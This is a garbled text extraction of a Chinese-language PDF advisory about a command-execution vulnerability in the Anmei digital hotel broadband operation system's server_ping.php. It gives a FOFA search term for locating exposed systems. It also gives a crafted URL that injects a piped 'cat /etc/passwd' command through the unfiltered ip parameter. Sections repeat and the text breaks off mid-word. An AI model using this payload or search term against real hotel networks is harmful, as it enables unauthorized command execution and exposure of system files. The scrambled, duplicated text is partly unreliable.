酒店宽带系统远程命令执行漏洞分析.pdfVIP

安美数字酒店宽带运营系统存在命令执行

描述

_

安美数字酒店宽带运营系统

serverping.php

命令执行漏洞

漏洞描述

安

_

美数字酒店宽带运营系统

serverping.php

存在命令执行漏洞,漏洞文件

中的

ip

参数未过滤导致命令执行

漏洞影响

安美数字酒店宽带运营系统

FOFA

酒店宽带运营

案例一:

构造url：

_

/manager/radius/serverping.php?ip=|cat%20/etc/passwd../../

pq.txt

id=1

对应txt

安美数字酒店宽带运营系统存在命令执行

描述

安美数字酒店宽带运营系统server_ping.php命令执行

描述

安美数字酒店宽带运营系统server_ping.php存在命令执行，

文件中ip参数未过滤造成命令执行

影响

安美数